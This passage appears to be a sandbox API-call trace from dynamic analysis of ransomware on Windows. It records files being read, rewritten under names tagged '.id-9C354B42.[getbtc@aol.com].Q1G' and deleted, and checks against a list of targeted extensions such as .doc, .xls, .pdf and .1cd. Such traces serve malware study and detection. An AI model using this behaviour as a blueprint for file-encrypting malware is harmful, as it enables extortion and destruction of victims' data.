lpOverlapped=0x0) returned 1 [0265.465] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3370, lpOverlapped=0x0) returned 1 [0265.466] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.466] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.466] SetEndOfFile (hFile=0x390) returned 1 [0265.466] CloseHandle (hObject=0x390) returned 1 [0265.466] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.466] SetEndOfFile (hFile=0x39c) returned 1 [0265.470] CloseHandle (hObject=0x39c) returned 1 [0265.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString=".doc") returned 4 [0265.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString=".docx") returned 5 [0265.471] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.471] lstrlenW (lpString=".pdf") returned 4 [0265.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString=".xls") returned 4 [0265.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.471] lstrlenW (lpString=".xlsx") returned 5 [0265.471] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.471] lstrlenW (lpString=".ppt") returned 4 [0265.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString=".zip") returned 4 [0265.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.471] lstrlenW (lpString=".rar") returned 4 [0265.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString=".bz2") returned 4 [0265.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString=".7z") returned 3 [0265.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString=".dbf") returned 4 [0265.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString=".1cd") returned 4 [0265.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.471] lstrlenW (lpString=".jpg") returned 4 [0265.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString=".doc") returned 4 [0265.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString=".docx") returned 5 [0265.472] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.472] lstrlenW (lpString=".pdf") returned 4 [0265.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString=".xls") returned 4 [0265.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.472] lstrlenW (lpString=".xlsx") returned 5 [0265.472] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.472] lstrlenW (lpString=".ppt") returned 4 [0265.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString=".zip") returned 4 [0265.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.472] lstrlenW (lpString=".rar") returned 4 [0265.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString=".bz2") returned 4 [0265.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString=".7z") returned 3 [0265.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString=".dbf") returned 4 [0265.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString=".1cd") returned 4 [0265.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0265.472] lstrlenW (lpString=".jpg") returned 4 [0265.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.472] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.473] lstrlenW (lpString="J0195260.WMF") returned 12 [0265.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.473] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8314) returned 1 [0265.473] CloseHandle (hObject=0x39c) returned 1 [0265.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 0x20 [0265.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.474] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.474] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.474] GetLastError () returned 0x0 [0265.474] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x207a, lpOverlapped=0x0) returned 1 [0265.706] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2080, lpOverlapped=0x0) returned 1 [0265.707] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.707] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.707] SetEndOfFile (hFile=0x390) returned 1 [0265.716] CloseHandle (hObject=0x390) returned 1 [0265.716] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.716] SetEndOfFile (hFile=0x39c) returned 1 [0265.718] CloseHandle (hObject=0x39c) returned 1 [0265.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0265.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.766] lstrlenW (lpString=".doc") returned 4 [0265.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.766] lstrlenW (lpString=".docx") returned 5 [0265.766] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.766] lstrlenW (lpString=".pdf") returned 4 [0265.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.766] lstrlenW (lpString=".xls") returned 4 [0265.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.766] lstrlenW (lpString=".xlsx") returned 5 [0265.766] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.766] lstrlenW (lpString=".ppt") returned 4 [0265.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.766] lstrlenW (lpString=".zip") returned 4 [0265.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.766] lstrlenW (lpString=".rar") returned 4 [0265.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.766] lstrlenW (lpString=".bz2") returned 4 [0265.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.766] lstrlenW (lpString=".7z") returned 3 [0265.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString=".dbf") returned 4 [0265.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString=".1cd") returned 4 [0265.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString=".jpg") returned 4 [0265.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString=".doc") returned 4 [0265.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString=".docx") returned 5 [0265.767] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.767] lstrlenW (lpString=".pdf") returned 4 [0265.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString=".xls") returned 4 [0265.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.767] lstrlenW (lpString=".xlsx") returned 5 [0265.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.767] lstrlenW (lpString=".ppt") returned 4 [0265.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.767] lstrlenW (lpString=".zip") returned 4 [0265.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.767] lstrlenW (lpString=".rar") returned 4 [0265.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.767] lstrlenW (lpString=".bz2") returned 4 [0265.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.768] lstrlenW (lpString=".7z") returned 3 [0265.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.768] lstrlenW (lpString=".dbf") returned 4 [0265.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.768] lstrlenW (lpString=".1cd") returned 4 [0265.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0265.768] lstrlenW (lpString=".jpg") returned 4 [0265.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.768] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.768] lstrlenW (lpString="J0196364.WMF") returned 12 [0265.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.773] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5708) returned 1 [0265.773] CloseHandle (hObject=0x37c) returned 1 [0265.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf")) returned 0x20 [0265.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.877] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.877] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 73 os_tid = 0x624 [0235.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a10050 [0235.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a20058 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814e0 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57f038 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5814f8 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581510 [0235.779] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581510, Size=0x20) returned 0x614658 [0235.779] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581510 [0235.779] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581510, Size=0x20) returned 0x614630 [0235.779] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.779] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.779] Wow64DisableWow64FsRedirection (in: OldValue=0x2ddff58 | out: OldValue=0x2ddff58*=0x0) returned 1 [0235.779] lstrlenW (lpString="kernel32.dll") returned 12 [0235.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614658 | out: hHeap=0x530000) returned 1 [0235.779] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614630 | out: hHeap=0x530000) returned 1 [0235.780] Sleep (dwMilliseconds=0x64) [0235.987] lstrcmpiW (lpString1=".LOG1", lpString2=".Q1G") returned -1 [0235.987] lstrlenW (lpString="BCD.LOG1") returned 8 [0235.987] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0236.080] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=0) returned 1 [0236.080] CloseHandle (hObject=0x220) returned 1 [0236.080] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.080] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.080] lstrlenW (lpString=".doc") returned 4 [0236.080] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".docx") returned 5 [0236.080] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0236.080] lstrlenW (lpString=".pdf") returned 4 [0236.080] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".xls") returned 4 [0236.080] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".xlsx") returned 5 [0236.080] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0236.080] lstrlenW (lpString=".ppt") returned 4 [0236.080] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.080] lstrlenW (lpString=".zip") returned 4 [0236.080] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".rar") returned 4 [0236.080] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".bz2") returned 4 [0236.080] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString=".7z") returned 3 [0236.080] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0236.080] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.080] lstrlenW (lpString=".dbf") returned 4 [0236.080] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0236.080] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.080] lstrlenW (lpString=".1cd") returned 4 [0236.081] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".jpg") returned 4 [0236.081] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".doc") returned 4 [0236.081] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".docx") returned 5 [0236.081] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0236.081] lstrlenW (lpString=".pdf") returned 4 [0236.081] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".xls") returned 4 [0236.081] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".xlsx") returned 5 [0236.081] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0236.081] lstrlenW (lpString=".ppt") returned 4 [0236.081] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".zip") returned 4 [0236.081] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".rar") returned 4 [0236.081] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".bz2") returned 4 [0236.081] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString=".7z") returned 3 [0236.081] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".dbf") returned 4 [0236.081] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".1cd") returned 4 [0236.081] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0236.081] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0236.081] lstrlenW (lpString=".jpg") returned 4 [0236.081] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0236.082] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0236.082] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0236.082] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0236.230] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1984228) returned 1 [0236.230] CloseHandle (hObject=0x28c) returned 1 [0236.230] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0236.230] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.230] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.230] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.230] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.230] lstrlenW (lpString=".doc") returned 4 [0236.230] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0236.230] lstrlenW (lpString=".docx") returned 5 [0236.230] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0236.230] lstrlenW (lpString=".pdf") returned 4 [0236.230] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0236.230] lstrlenW (lpString=".xls") returned 4 [0236.230] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0236.230] lstrlenW (lpString=".xlsx") returned 5 [0236.230] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0236.230] lstrlenW (lpString=".ppt") returned 4 [0236.230] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0236.230] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.230] lstrlenW (lpString=".zip") returned 4 [0236.230] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0236.230] lstrlenW (lpString=".rar") returned 4 [0236.230] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0236.230] lstrlenW (lpString=".bz2") returned 4 [0236.230] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0236.230] lstrlenW (lpString=".7z") returned 3 [0236.231] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString=".dbf") returned 4 [0236.231] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString=".1cd") returned 4 [0236.231] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString=".jpg") returned 4 [0236.231] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0236.231] 